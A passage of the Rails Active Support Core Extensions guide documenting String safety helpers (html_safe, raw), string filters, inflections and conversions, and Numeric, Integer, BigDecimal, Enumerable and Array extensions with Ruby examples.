You can obtain a safe string from a given one with the html_safe method:

s = "".html_safe
s.html_safe? # => true

It is important to understand that html_safe performs no escaping whatsoever, it is just an assertion:

s = "<script>...</script>".html_safe
s.html_safe? # => true
s            # => "<script>...</script>"

It is your responsibility to ensure calling html_safe on a particular string is fine.

If you append onto a safe string, either in-place with concat/<<, or with +, the result is a safe string. Unsafe arguments are escaped:

"".html_safe + "<" # => "&lt;"

Safe arguments are directly appended:

"".html_safe + "<".html_safe # => "<"

These methods should not be used in ordinary views. Unsafe values are automatically escaped:

<%= @review.title %> <%# fine, escaped if needed %>

To insert something verbatim use the raw helper rather than calling html_safe:

<%= raw @cms.current_template %> <%# inserts @cms.current_template as is %>

or, equivalently, use <%==:

<%== @cms.current_template %> <%# inserts @cms.current_template as is %>

The raw helper calls html_safe for you:

def raw(stringish)
stringish.to_s.html_safe
end

Defined in active_support/core_ext/string/output_safety.rb.

5.1.3 Transformation

As a rule of thumb, except perhaps for concatenation as explained above, any method that may change a string gives you an unsafe string. These are downcase, gsub, strip, chomp, underscore, etc.

In the case of in-place transformations like gsub! the receiver itself becomes unsafe.

The safety bit is lost always, no matter whether the transformation actually changed something.

5.1.4 Conversion and Coercion

Calling to_s on a safe string returns a safe string, but coercion with to_str returns an unsafe string.

5.1.5 Copying

Calling dup or clone on safe strings yields safe strings.

5.2 remove

The method remove will remove all occurrences of the pattern:

"Hello World".remove(/Hello /) # => "World"

There's also the destructive version String#remove!.

Defined in active_support/core_ext/string/filters.rb.

5.3 squish

The method squish strips leading and trailing whitespace, and substitutes runs of whitespace with a single space each:

" \n  foo\n\r \t bar \n".squish # => "foo bar"

There's also the destructive version String#squish!.

Note that it handles both ASCII and Unicode whitespace.

Defined in active_support/core_ext/string/filters.rb.

5.4 truncate

The method truncate returns a copy of its receiver truncated after a given length:

"Oh dear! Oh dear! I shall be late!".truncate(20)
# => "Oh dear! Oh dear!..."

Ellipsis can be customized with the :omission option:

"Oh dear! Oh dear! I shall be late!".truncate(20, omission: '&hellip;')
# => "Oh dear! Oh &hellip;"

Note in particular that truncation takes into account the length of the omission string.

Pass a :separator to truncate the string at a natural break:

"Oh dear! Oh dear! I shall be late!".truncate(18)
# => "Oh dear! Oh dea..."
"Oh dear! Oh dear! I shall be late!".truncate(18, separator: ' ')
# => "Oh dear! Oh..."

The option :separator can be a regexp:

"Oh dear! Oh dear! I shall be late!".truncate(18, separator: /\s/)
# => "Oh dear! Oh..."

In above examples "dear" gets cut first, but then :separator prevents it.

Defined in active_support/core_ext/string/filters.rb.

5.5 truncate_words

The method truncate_words returns a copy of its receiver truncated after a given number of words:

"Oh dear! Oh dear! I shall be late!".truncate_words(4)
# => "Oh dear! Oh dear!..."

Ellipsis can be customized with the :omission option:

"Oh dear! Oh dear! I shall be late!".truncate_words(4, omission: '&hellip;')
# => "Oh dear! Oh dear!&hellip;"

Pass a :separator to truncate the string at a natural break:

"Oh dear! Oh dear! I shall be late!".truncate_words(3, separator: '!')
# => "Oh dear! Oh dear! I shall be late..."

The option :separator can be a regexp:

"Oh dear! Oh dear! I shall be late!".truncate_words(4, separator: /\s/)
# => "Oh dear! Oh dear!..."

Defined in active_support/core_ext/string/filters.rb.

5.6 inquiry

The inquiry method converts a string into a StringInquirer object making equality checks prettier.

"production".inquiry.production? # => true
"active".inquiry.inactive?       # => false

5.7 starts_with? and ends_with?

Active Support defines 3rd person aliases of String#start_with? and String#end_with?:

"foo".starts_with?("f") # => true
"foo".ends_with?("o")   # => true

Defined in active_support/core_ext/string/starts_ends_with.rb.

5.8 strip_heredoc

The method strip_heredoc strips indentation in heredocs.

For example in

if options[:usage]
puts <<-USAGE.strip_heredoc
This command does such and such.

Supported options are:
-h         This message
...
USAGE
end

the user would see the usage message aligned against the left margin.

Technically, it looks for the least indented line in the whole string, and removes that amount of leading whitespace.

Defined in active_support/core_ext/string/strip.rb.

5.9 indent

Indents the lines in the receiver:

<<EOS.indent(2)
def some_method
some_code
end
EOS
# =>
def some_method
some_code
end

The second argument, indent_string, specifies which indent string to use. The default is nil, which tells the method to make an educated guess peeking at the first indented line, and fallback to a space if there is none.

"  foo".indent(2)        # => "    foo"
"foo\n\t\tbar".indent(2) # => "\t\tfoo\n\t\t\t\tbar"
"foo".indent(2, "\t")    # => "\t\tfoo"

While indent_string is typically one space or tab, it may be any string.

The third argument, indent_empty_lines, is a flag that says whether empty lines should be indented. Default is false.

"foo\n\nbar".indent(2)            # => "  foo\n\n  bar"
"foo\n\nbar".indent(2, nil, true) # => "  foo\n  \n  bar"

The indent! method performs indentation in-place.

Defined in active_support/core_ext/string/indent.rb.

5.10 Access

5.10.1 at(position)

Returns the character of the string at position position:

"hello".at(0)  # => "h"
"hello".at(4)  # => "o"
"hello".at(-1) # => "o"
"hello".at(10) # => nil

Defined in active_support/core_ext/string/access.rb.

5.10.2 from(position)

Returns the substring of the string starting at position position:

"hello".from(0)  # => "hello"
"hello".from(2)  # => "llo"
"hello".from(-2) # => "lo"
"hello".from(10) # => nil

Defined in active_support/core_ext/string/access.rb.

5.10.3 to(position)

Returns the substring of the string up to position position:

"hello".to(0)  # => "h"
"hello".to(2)  # => "hel"
"hello".to(-2) # => "hell"
"hello".to(10) # => "hello"

Defined in active_support/core_ext/string/access.rb.

5.10.4 first(limit = 1)

The call str.first(n) is equivalent to str.to(n-1) if n > 0, and returns an empty string for n == 0.

Defined in active_support/core_ext/string/access.rb.

5.10.5 last(limit = 1)

The call str.last(n) is equivalent to str.from(-n) if n > 0, and returns an empty string for n == 0.

Defined in active_support/core_ext/string/access.rb.

5.11 Inflections

5.11.1 pluralize

The method pluralize returns the plural of its receiver:

"table".pluralize     # => "tables"
"ruby".pluralize      # => "rubies"
"equipment".pluralize # => "equipment"

As the previous example shows, Active Support knows some irregular plurals and uncountable nouns. Built-in rules can be extended in config/initializers/inflections.rb. That file is generated by the rails command and has instructions in comments.

pluralize can also take an optional count parameter. If count == 1 the singular form will be returned. For any other value of count the plural form will be returned:

"dude".pluralize(0) # => "dudes"
"dude".pluralize(1) # => "dude"
"dude".pluralize(2) # => "dudes"

Active Record uses this method to compute the default table name that corresponds to a model:

# active_record/model_schema.rb
def undecorated_table_name(class_name = base_class.name)
table_name = class_name.to_s.demodulize.underscore
pluralize_table_names ? table_name.pluralize : table_name
end

Defined in active_support/core_ext/string/inflections.rb.

5.11.2 singularize

The inverse of pluralize:

"tables".singularize    # => "table"
"rubies".singularize    # => "ruby"
"equipment".singularize # => "equipment"

Associations compute the name of the corresponding default associated class using this method:

# active_record/reflection.rb
def derive_class_name
class_name = name.to_s.camelize
class_name = class_name.singularize if collection?
class_name
end

Defined in active_support/core_ext/string/inflections.rb.

5.11.3 camelize

The method camelize returns its receiver in camel case:

"product".camelize    # => "Product"
"admin_user".camelize # => "AdminUser"

As a rule of thumb you can think of this method as the one that transforms paths into Ruby class or module names, where slashes separate namespaces:

"backoffice/session".camelize # => "Backoffice::Session"

For example, Action Pack uses this method to load the class that provides a certain session store:

# action_controller/metal/session_management.rb
def session_store=(store)
@@session_store = store.is_a?(Symbol) ?
ActionDispatch::Session.const_get(store.to_s.camelize) :
store
end

camelize accepts an optional argument, it can be :upper (default), or :lower. With the latter the first letter becomes lowercase:

"visual_effect".camelize(:lower) # => "visualEffect"

That may be handy to compute method names in a language that follows that convention, for example JavaScript.

As a rule of thumb you can think of camelize as the inverse of underscore, though there are cases where that does not hold: "SSLError".underscore.camelize gives back "SslError". To support cases such as this, Active Support allows you to specify acronyms in config/initializers/inflections.rb:

ActiveSupport::Inflector.inflections do |inflect|
inflect.acronym 'SSL'
end

"SSLError".underscore.camelize # => "SSLError"

camelize is aliased to camelcase.

Defined in active_support/core_ext/string/inflections.rb.

5.11.4 underscore

The method underscore goes the other way around, from camel case to paths:

"Product".underscore   # => "product"
"AdminUser".underscore # => "admin_user"

Also converts "::" back to "/":

"Backoffice::Session".underscore # => "backoffice/session"

and understands strings that start with lowercase:

"visualEffect".underscore # => "visual_effect"

underscore accepts no argument though.

Rails class and module autoloading uses underscore to infer the relative path without extension of a file that would define a given missing constant:

# active_support/dependencies.rb
def load_missing_constant(from_mod, const_name)
...
qualified_name = qualified_name_for from_mod, const_name
path_suffix = qualified_name.underscore
...
end

As a rule of thumb you can think of underscore as the inverse of camelize, though there are cases where that does not hold. For example, "SSLError".underscore.camelize gives back "SslError".

Defined in active_support/core_ext/string/inflections.rb.

5.11.5 titleize

The method titleize capitalizes the words in the receiver:

"alice in wonderland".titleize # => "Alice In Wonderland"
"fermat's enigma".titleize     # => "Fermat's Enigma"

titleize is aliased to titlecase.

Defined in active_support/core_ext/string/inflections.rb.

5.11.6 dasherize

The method dasherize replaces the underscores in the receiver with dashes:

"name".dasherize         # => "name"
"contact_data".dasherize # => "contact-data"

The XML serializer of models uses this method to dasherize node names:

# active_model/serializers/xml.rb
def reformat_name(name)
name = name.camelize if camelize?
dasherize? ? name.dasherize : name
end

Defined in active_support/core_ext/string/inflections.rb.

5.11.7 demodulize

Given a string with a qualified constant name, demodulize returns the very constant name, that is, the rightmost part of it:

"Product".demodulize                        # => "Product"
"Backoffice::UsersController".demodulize    # => "UsersController"
"Admin::Hotel::ReservationUtils".demodulize # => "ReservationUtils"
"::Inflections".demodulize                  # => "Inflections"
"".demodulize                               # => ""

Active Record for example uses this method to compute the name of a counter cache column:

# active_record/reflection.rb
def counter_cache_column
if options[:counter_cache] == true
"#{active_record.name.demodulize.underscore.pluralize}_count"
elsif options[:counter_cache]
options[:counter_cache]
end
end

Defined in active_support/core_ext/string/inflections.rb.

5.11.8 deconstantize

Given a string with a qualified constant reference expression, deconstantize removes the rightmost segment, generally leaving the name of the constant's container:

"Product".deconstantize                        # => ""
"Backoffice::UsersController".deconstantize    # => "Backoffice"
"Admin::Hotel::ReservationUtils".deconstantize # => "Admin::Hotel"

Active Support for example uses this method in Module#qualified_const_set:

def qualified_const_set(path, value)
QualifiedConstUtils.raise_if_absolute(path)

const_name = path.demodulize
mod_name = path.deconstantize
mod = mod_name.empty? ? self : qualified_const_get(mod_name)
mod.const_set(const_name, value)
end

Defined in active_support/core_ext/string/inflections.rb.

5.11.9 parameterize

The method parameterize normalizes its receiver in a way that can be used in pretty URLs.

"John Smith".parameterize # => "john-smith"
"Kurt Gödel".parameterize # => "kurt-godel"

To preserve the case of the string, set the preserve_case argument to true. By default, preserve_case is set to false.

"John Smith".parameterize(preserve_case: true) # => "John-Smith"
"Kurt Gödel".parameterize(preserve_case: true) # => "Kurt-Godel"

To use a custom separator, override the separator argument.

"John Smith".parameterize(separator: "_") # => "john\_smith"
"Kurt Gödel".parameterize(separator: "_") # => "kurt\_godel"

In fact, the result string is wrapped in an instance of ActiveSupport::Multibyte::Chars.

Defined in active_support/core_ext/string/inflections.rb.

5.11.10 tableize

The method tableize is underscore followed by pluralize.

"Person".tableize      # => "people"
"Invoice".tableize     # => "invoices"
"InvoiceLine".tableize # => "invoice_lines"

As a rule of thumb, tableize returns the table name that corresponds to a given model for simple cases. The actual implementation in Active Record is not straight tableize indeed, because it also demodulizes the class name and checks a few options that may affect the returned string.

Defined in active_support/core_ext/string/inflections.rb.

5.11.11 classify

The method classify is the inverse of tableize. It gives you the class name corresponding to a table name:

"people".classify        # => "Person"
"invoices".classify      # => "Invoice"
"invoice_lines".classify # => "InvoiceLine"

The method understands qualified table names:

"highrise_production.companies".classify # => "Company"

Note that classify returns a class name as a string. You can get the actual class object invoking constantize on it, explained next.

Defined in active_support/core_ext/string/inflections.rb.

5.11.12 constantize

The method constantize resolves the constant reference expression in its receiver:

"Integer".constantize # => Integer

module M
X = 1
end
"M::X".constantize # => 1

If the string evaluates to no known constant, or its content is not even a valid constant name, constantize raises NameError.

Constant name resolution by constantize starts always at the top-level Object even if there is no leading "::".

X = :in_Object
module M
X = :in_M

X                 # => :in_M
"::X".constantize # => :in_Object
"X".constantize   # => :in_Object (!)
end

So, it is in general not equivalent to what Ruby would do in the same spot, had a real constant be evaluated.

Mailer test cases obtain the mailer being tested from the name of the test class using constantize:

# action_mailer/test_case.rb
def determine_default_mailer(name)
name.sub(/Test$/, '').constantize
rescue NameError => e
raise NonInferrableMailerError.new(name)
end

Defined in active_support/core_ext/string/inflections.rb.

5.11.13 humanize

The method humanize tweaks an attribute name for display to end users.

Specifically performs these transformations:

- Applies human inflection rules to the argument.

- Deletes leading underscores, if any.

- Removes a "_id" suffix if present.

- Replaces underscores with spaces, if any.

- Downcases all words except acronyms.

- Capitalizes the first word.

The capitalization of the first word can be turned off by setting the +:capitalize+ option to false (default is true).

"name".humanize                         # => "Name"
"author_id".humanize                    # => "Author"
"author_id".humanize(capitalize: false) # => "author"
"comments_count".humanize               # => "Comments count"
"_id".humanize                          # => "Id"

If "SSL" was defined to be an acronym:

'ssl_error'.humanize # => "SSL error"

The helper method full_messages uses humanize as a fallback to include attribute names:

def full_messages
map { |attribute, message| full_message(attribute, message) }
end

def full_message
...
attr_name = attribute.to_s.tr('.', '_').humanize
attr_name = @base.class.human_attribute_name(attribute, default: attr_name)
...
end

Defined in active_support/core_ext/string/inflections.rb.

5.11.14 foreign_key

The method foreign_key gives a foreign key column name from a class name. To do so it demodulizes, underscores, and adds "_id":

"User".foreign_key           # => "user_id"
"InvoiceLine".foreign_key    # => "invoice_line_id"
"Admin::Session".foreign_key # => "session_id"

Pass a false argument if you do not want the underscore in "_id":

"User".foreign_key(false) # => "userid"

Associations use this method to infer foreign keys, for example has_one and has_many do this:

# active_record/associations.rb
foreign_key = options[:foreign_key] || reflection.active_record.name.foreign_key

Defined in active_support/core_ext/string/inflections.rb.

5.12 Conversions

5.12.1 to_date, to_time, to_datetime

The methods to_date, to_time, and to_datetime are basically convenience wrappers around Date._parse:

"2010-07-27".to_date              # => Tue, 27 Jul 2010
"2010-07-27 23:37:00".to_time     # => 2010-07-27 23:37:00 +0200
"2010-07-27 23:37:00".to_datetime # => Tue, 27 Jul 2010 23:37:00 +0000

to_time receives an optional argument :utc or :local, to indicate which time zone you want the time in:

"2010-07-27 23:42:00".to_time(:utc)   # => 2010-07-27 23:42:00 UTC
"2010-07-27 23:42:00".to_time(:local) # => 2010-07-27 23:42:00 +0200

Default is :utc.

Please refer to the documentation of Date._parse for further details.

The three of them return nil for blank receivers.

Defined in active_support/core_ext/string/conversions.rb.

6 Extensions to Numeric

6.1 Bytes

All numbers respond to these methods:

bytes
kilobytes
megabytes
gigabytes
terabytes
petabytes
exabytes

They return the corresponding amount of bytes, using a conversion factor of 1024:

2.kilobytes   # => 2048
3.megabytes   # => 3145728
3.5.gigabytes # => 3758096384
-4.exabytes   # => -4611686018427387904

Singular forms are aliased so you are able to say:

1.megabyte # => 1048576

Defined in active_support/core_ext/numeric/bytes.rb.

6.2 Time

Enables the use of time calculations and declarations, like 45.minutes + 2.hours + 4.years.

These methods use Time#advance for precise date calculations when using from_now, ago, etc. as well as adding or subtracting their results from a Time object. For example:

# equivalent to Time.current.advance(months: 1)
1.month.from_now

# equivalent to Time.current.advance(years: 2)
2.years.from_now

# equivalent to Time.current.advance(months: 4, years: 5)
(4.months + 5.years).from_now

Defined in active_support/core_ext/numeric/time.rb

6.3 Formatting

Enables the formatting of numbers in a variety of ways.

Produce a string representation of a number as a telephone number:

5551234.to_s(:phone)
# => 555-1234
1235551234.to_s(:phone)
# => 123-555-1234
1235551234.to_s(:phone, area_code: true)
# => (123) 555-1234
1235551234.to_s(:phone, delimiter: " ")
# => 123 555 1234
1235551234.to_s(:phone, area_code: true, extension: 555)
# => (123) 555-1234 x 555
1235551234.to_s(:phone, country_code: 1)
# => +1-123-555-1234

Produce a string representation of a number as currency:

1234567890.50.to_s(:currency)                 # => $1,234,567,890.50
1234567890.506.to_s(:currency)                # => $1,234,567,890.51
1234567890.506.to_s(:currency, precision: 3)  # => $1,234,567,890.506

Produce a string representation of a number as a percentage:

100.to_s(:percentage)
# => 100.000%
100.to_s(:percentage, precision: 0)
# => 100%
1000.to_s(:percentage, delimiter: '.', separator: ',')
# => 1.000,000%
302.24398923423.to_s(:percentage, precision: 5)
# => 302.24399%

Produce a string representation of a number in delimited form:

12345678.to_s(:delimited)                     # => 12,345,678
12345678.05.to_s(:delimited)                  # => 12,345,678.05
12345678.to_s(:delimited, delimiter: ".")     # => 12.345.678
12345678.to_s(:delimited, delimiter: ",")     # => 12,345,678
12345678.05.to_s(:delimited, separator: " ")  # => 12,345,678 05

Produce a string representation of a number rounded to a precision:

111.2345.to_s(:rounded)                     # => 111.235
111.2345.to_s(:rounded, precision: 2)       # => 111.23
13.to_s(:rounded, precision: 5)             # => 13.00000
389.32314.to_s(:rounded, precision: 0)      # => 389
111.2345.to_s(:rounded, significant: true)  # => 111

Produce a string representation of a number as a human-readable number of bytes:

123.to_s(:human_size)                  # => 123 Bytes
1234.to_s(:human_size)                 # => 1.21 KB
12345.to_s(:human_size)                # => 12.1 KB
1234567.to_s(:human_size)              # => 1.18 MB
1234567890.to_s(:human_size)           # => 1.15 GB
1234567890123.to_s(:human_size)        # => 1.12 TB
1234567890123456.to_s(:human_size)     # => 1.1 PB
1234567890123456789.to_s(:human_size)  # => 1.07 EB

Produce a string representation of a number in human-readable words:

123.to_s(:human)               # => "123"
1234.to_s(:human)              # => "1.23 Thousand"
12345.to_s(:human)             # => "12.3 Thousand"
1234567.to_s(:human)           # => "1.23 Million"
1234567890.to_s(:human)        # => "1.23 Billion"
1234567890123.to_s(:human)     # => "1.23 Trillion"
1234567890123456.to_s(:human)  # => "1.23 Quadrillion"

Defined in active_support/core_ext/numeric/conversions.rb.

7 Extensions to Integer

7.1 multiple_of?

The method multiple_of? tests whether an integer is multiple of the argument:

2.multiple_of?(1) # => true
1.multiple_of?(2) # => false

Defined in active_support/core_ext/integer/multiple.rb.

7.2 ordinal

The method ordinal returns the ordinal suffix string corresponding to the receiver integer:

1.ordinal    # => "st"
2.ordinal    # => "nd"
53.ordinal   # => "rd"
2009.ordinal # => "th"
-21.ordinal  # => "st"
-134.ordinal # => "th"

Defined in active_support/core_ext/integer/inflections.rb.

7.3 ordinalize

The method ordinalize returns the ordinal string corresponding to the receiver integer. In comparison, note that the ordinal method returns only the suffix string.

1.ordinalize    # => "1st"
2.ordinalize    # => "2nd"
53.ordinalize   # => "53rd"
2009.ordinalize # => "2009th"
-21.ordinalize  # => "-21st"
-134.ordinalize # => "-134th"

Defined in active_support/core_ext/integer/inflections.rb.

8 Extensions to BigDecimal

8.1 to_s

The method to_s provides a default specifier of "F". This means that a simple call to to_s will result in floating point representation instead of engineering notation:

BigDecimal.new(5.00, 6).to_s  # => "5.0"

and that symbol specifiers are also supported:

BigDecimal.new(5.00, 6).to_s(:db)  # => "5.0"

Engineering notation is still supported:

BigDecimal.new(5.00, 6).to_s("e")  # => "0.5E1"

9 Extensions to Enumerable

9.1 sum

The method sum adds the elements of an enumerable:

[1, 2, 3].sum # => 6
(1..100).sum  # => 5050

Addition only assumes the elements respond to +:

[[1, 2], [2, 3], [3, 4]].sum    # => [1, 2, 2, 3, 3, 4]
%w(foo bar baz).sum             # => "foobarbaz"
{a: 1, b: 2, c: 3}.sum # => [:b, 2, :c, 3, :a, 1]

The sum of an empty collection is zero by default, but this is customizable:

[].sum    # => 0
[].sum(1) # => 1

If a block is given, sum becomes an iterator that yields the elements of the collection and sums the returned values:

(1..5).sum {|n| n * 2 } # => 30
[2, 4, 6, 8, 10].sum    # => 30

The sum of an empty receiver can be customized in this form as well:

[].sum(1) {|n| n**3} # => 1

Defined in active_support/core_ext/enumerable.rb.

9.2 index_by

The method index_by generates a hash with the elements of an enumerable indexed by some key.

It iterates through the collection and passes each element to a block. The element will be keyed by the value returned by the block:

invoices.index_by(&:number)
# => {'2009-032' => <Invoice ...>, '2009-008' => <Invoice ...>, ...}

Keys should normally be unique. If the block returns the same value for different elements no collection is built for that key. The last item will win.

Defined in active_support/core_ext/enumerable.rb.

9.3 many?

The method many? is shorthand for collection.size > 1:

<% if pages.many? %>
<%= pagination_links %>
<% end %>

If an optional block is given, many? only takes into account those elements that return true:

@see_more = videos.many? {|video| video.category == params[:category]}

Defined in active_support/core_ext/enumerable.rb.

9.4 exclude?

The predicate exclude? tests whether a given object does not belong to the collection. It is the negation of the built-in include?:

to_visit << node if visited.exclude?(node)

Defined in active_support/core_ext/enumerable.rb.

9.5 without

The method without returns a copy of an enumerable with the specified elements removed:

["David", "Rafael", "Aaron", "Todd"].without("Aaron", "Todd") # => ["David", "Rafael"]

Defined in active_support/core_ext/enumerable.rb.

9.6 pluck

The method pluck returns an array based on the given key:

[{ name: "David" }, { name: "Rafael" }, { name: "Aaron" }].pluck(:name) # => ["David", "Rafael", "Aaron"]

Defined in active_support/core_ext/enumerable.rb.

10 Extensions to Array

10.1 Accessing

Active Support augments the API of arrays to ease certain ways of accessing them. For example, to returns the subarray of elements up to the one at the passed index:

%w(a b c d).to(2) # => ["a", "b", "c"]
[].to(7)          # => []

Similarly, from returns the tail from the element at the passed index to the end. If the index is greater than the length of the array, it returns an empty array.

%w(a b c d).from(2)  # => ["c", "d"]
%w(a b c d).from(10) # => []
[].from(0)           # => []

The methods second, third, fourth, and fifth return the corresponding element, as do second_to_last and third_to_last (first and last are built-in). Thanks to social wisdom and positive constructiveness all around, forty_two is also available.

%w(a b c d).third # => "c"
%w(a b c d).fifth # => nil

Defined in active_support/core_ext/array/access.rb.

10.2 Adding Elements

10.2.1 prepend

This method is an alias of Array#unshift.

%w(a b c d).prepend('e')  # => ["e", "a", "b", "c", "d"]
[].prepend(10)            # => [10]

Defined in active_support/core_ext/array/prepend_and_append.rb.

10.2.2 append

This method is an alias of Array#<<.

%w(a b c d).append('e')  # => ["a", "b", "c", "d", "e"]
[].append([1,2])         # => [[1, 2]]

Defined in active_support/core_ext/array/prepend_and_append.rb.

10.3 Options Extraction

When the last argument in a method call is a hash, except perhaps for a &block argument, Ruby allows you to omit the brackets:

User.exists?(email: params[:email])

That syntactic sugar is used a lot in Rails to avoid positional arguments where there would be too many, offering instead interfaces that emulate named parameters. In particular it is very idiomatic to use a trailing hash for options.

If a method expects a variable number of arguments and uses * in its declaration, however, such an options hash ends up being an item of the array of arguments, where it loses its role.

In those cases, you may give an options hash a distinguished treatment with extract_options!. This method checks the type of the last item of an array. If it is a hash it pops it and returns it, otherwise it returns an empty hash.

Let's see for example the definition of the caches_action controller macro:

def caches_action(*actions)
return unless cache_configured?
options = actions.extract_options!
...
end

This method receives an arbitrary number of action names, and an optional hash of options as last argument. With the call to extract_options! you obtain the options hash and remove it from actions in a simple and explicit way.

Defined in active_support/core_ext/array/extract_options.rb.

10.4 Conversions

10.4.1 to_sentence

The method to_sentence turns an array into a string containing a sentence that enumerates its items:

%w().to_sentence                # => ""
%w(Earth).to_sentence           # => "Earth"
%w(Earth Wind).to_sentence      # => "Earth and Wind"
%w(Earth Wind Fire).to_sentence # => "Earth, Wind, and Fire"

This method accepts three options:

- :two_words_connector: What is used for arrays of length 2. Default is " and ".

- :words_connector: What is used to join the elements of arrays with 3 or more elements, except for the last two. Default is ", ".

- :last_word_connector: What is used to join the last items of an array with 3 or more elements. Default is ", and ".

The defaults for these options can be localized, their keys are:

Option

I18n key

:two_words_connector

support.array.two_words_connector

:words_connector

support.array.words_connector

:last_word_connector

support.array.last_word_connector

Defined in active_support/core_ext/array/conversions.rb.

10.4.2 to_formatted_s

The method to_formatted_s acts like to_s by default.

If the array contains items that respond to id, however, the symbol :db may be passed as argument. That's typically used with collections of Active Record objects. Returned strings are:

[].to_formatted_s(:db)            # => "null"
[user].to_formatted_s(:db)        # => "8456"
invoice.lines.to_formatted_s(:db) # => "23,567,556,12"

Integers in the example above are supposed to come from the respective calls to id.

Defined in active_support/core_ext/array/conversions.rb.

10.4.3 to_xml

The method to_xml returns a string containing an XML representation of its receiver:

Contributor.limit(2).order(:rank).to_xml
# =>
# <?xml version="1.0" encoding="UTF-8"?>
# <contributors type="array">
#   <contributor>
#     <id type="integer">4356</id>
#     <name>Jeremy Kemper</name>
#     <rank type="integer">1</rank>
#     <url-id>jeremy-kemper</url-id>
#   </contributor>
#   <contributor>
#     <id type="integer">4404</id>
#     <name>David Heinemeier Hansson</name>
#     <rank type="integer">2</rank>
#     <url-id>david-heinemeier-hansson</url-id>
#   </contributor>
# </contributors>

To do so it sends to_xml to every item in turn, and collects the results under a root node. All items must respond to to_xml, an exception is raised otherwise.

By default, the name of the root element is the underscorized and dasherized plural of the name of the class of the first item, provided the rest of elements belong to that type (checked with is_a?) and they are not hashes. In the example above that's "contributors".

If there's any element that does not belong to the type of the first one the root node becomes "objects":

[Contributor.first, Commit.first].to_xml
# =>
# <?xml version="1.0" encoding="UTF-8"?>
# <objects type="array">
#   <object>
#     <id type="integer">4583</id>
#     <name>Aaron Batalion</name>
#     <rank type="integer">53</rank>
#     <url-id>aaron-batalion</url-id>
#   </object>
#   <object>
#     <author>Joshua Peek</author>
#     <authored-timestamp type="datetime">2009-09-02T16:44:36Z</authored-timestamp>
#     <branch>origin/master</branch>
#     <committed-timestamp type="datetime">2009-09-02T16:44:36Z</committed-timestamp>
#     <committer>Joshua Peek</committer>
#     <git-show nil="true"></git-show>
#     <id type="integer">190316</id>
#     <imported-from-svn type="boolean">false</imported-from-svn>
#     <message>Kill AMo observing wrap_with_notifications since ARes was only using it</message>
#     <sha1>723a47bfb3708f968821bc969a9a3fc873a3ed58</sha1>
#   </object>
# </objects>

If the receiver is an array of hashes the root element is by default also "objects":

[{a: 1, b: 2}, {c: 3}].to_xml
# =>
# <?xml version="1.0" encoding="UTF-8"?>
# <objects type="array">
#   <object>
#     <b type="integer">2</b>
#     <a type="integer">1</a>
#   </object>
#   <object>
#     <c type="integer">3</c>
#   </object>
# </objects>

If the collection is empty the root element is by default "nil-classes". That's a gotcha, for example the root element of the list of contributors above would not be "contributors" if the collection was empty, but "nil-classes". You may use the :root option to ensure a consistent root element.

The name of children nodes is by default the name of the root node singularized. In the examples above we've seen "contributor" and "object". The option :children allows you to set these node names.

The default XML builder is a fresh instance of Builder::XmlMarkup. You can configure your own builder via the :builder option. The method also accepts options like :dasherize and friends, they are forwarded to the builder:

Contributor.limit(2).order(:rank).to_xml(skip_types: true)
# =>
# <?xml version="1.0" encoding="UTF-8"?>
# <contributors>
#   <contributor>
#     <id>4356</id>
#     <name>Jeremy Kemper</name>
#     <rank>1</rank>
#     <url-id>jeremy-kemper</url-id>
#   </contributor>
#   <contributor>
#     <id>4404</id>
#     <name>David Heinemeier Hansson</name>
#     <rank>2</rank>
#     <url-id>david-heinemeier-hansson</url-id>
#   </contributor>
# </contributors>

Defined in active_support/core_ext/array/conversions.rb.

10.5 Wrapping

The method Array.wrap wraps its argument in an array unless it is already an array (or array-like).

Specifically:

- If the argument is nil an empty array is returned.

- Otherwise, if the argument responds to to_ary it is invoked, and if the value of to_ary is not nil, it is returned.

- Otherwise, an array with the argument as its single element is returned.

Array.wrap(nil)       # => []
Array.wrap([1, 2, 3]) # => [1, 2, 3]
Array.wrap(0)         # => [0]

This method is similar in purpose to Kernel#Array, but there are some differences:

- If the argument responds to to_ary the method is invoked. Kernel#Array moves on to try to_a if the returned value is nil, but Array.wrap returns an array with the argument as its single element right away.

- If the returned value from to_ary is neither nil nor an Array object, Kernel#Array raises an exception, while Array.wrap does not, it just returns the value.

- It does not call to_a on the argument, if the argument does not respond to +to_ary+ it returns an array with the argument as its single element.

The last point is particularly worth comparing for some enumerables:

Array.wrap(foo: :bar) # => [{:foo=>:bar}]
Array(foo: :bar)      # => [[:foo, :bar]]

There's also a related idiom that uses the splat operator:

[*object]

which in Ruby 1.8 returns [nil] for nil, and calls to Array(object) otherwise. (Please if you know the exact behavior in 1.9 contact fxn.)

Thus, in this case the behavior is different for nil, and the differences with Kernel#Array explained above apply to the rest of objects.

Defined in active_support/core_ext/array/wrap.rb.

10.6 Duplicating

The method Array#deep_dup duplicates itself and all objects inside recursively with Active Support method Object#deep_dup. It works like Array#map with sending deep_dup method to each object inside.

array = [1, [2, 3]]
dup = array.deep_dup
dup[1][2] = 4
array[1][2] == nil   # => true

Defined in active_support/core_ext/object/deep_dup.rb.

10.7 Grouping

10.7.1 in_groups_of(number, fill_with = nil)

The method in_groups_of splits an array into consecutive groups of a certain size. It returns an array with the groups:

[1, 2, 3].in_groups_of(2) # => [[1, 2], [3, nil]]

or yields them in turn if a block is passed:

<% sample.in_groups_of(3) do |a, b, c| %>
<tr>
<td><%= a %></td>
<td><%= b %></td>
<td><%= c %></td>
</tr>
<% end %>

The first example shows in_groups_of fills the last group with as many nil elements as needed to have the requested size. You can change this padding value using the second optional argument:

[1, 2, 3].in_groups_of(2, 0) # => [[1, 2], [3, 0]]

And you can tell the method not to fill the last group passing false:

[1, 2, 3].in_groups_of(2, false) # => [[1, 2], [3]]

As a consequence false can't be a used as a padding value.

Defined in active_support/core_ext/array/grouping.rb.

10.7.2 in_groups(number, fill_with = nil)

The method in_groups splits an array into a certain number of groups. The method returns an array with the groups:

%w(1 2 3 4 5 6 7).in_groups(3)
# => [["1", "2", "3"], ["4", "5", nil], ["6", "7", nil]]

or yields them in turn if a block is passed:

%w(1 2 3 4 5 6 7).in_groups(3) {|group| p group}
["1", "2", "3"]
["4", "5", nil]
["6", "7", nil]

The examples above show that in_groups fills some groups with a trailing nil element as needed. A group can get at most one of these extra elements, the rightmost one if any. And the groups that have them are always the last ones.

You can change this padding value using the second optional argument:

%w(1 2 3 4 5 6 7).in_groups(3, "0")
# => [["1", "2", "3"], ["4", "5", "0"], ["6", "7", "0"]]

And you can tell the method not to fill the smaller groups passing false:

%w(1 2 3 4 5 6 7).in_groups(3, false)
# => [["1", "2", "3"], ["4", "5"], ["6", "7"]]

As a consequence false can't be a used as a padding value.

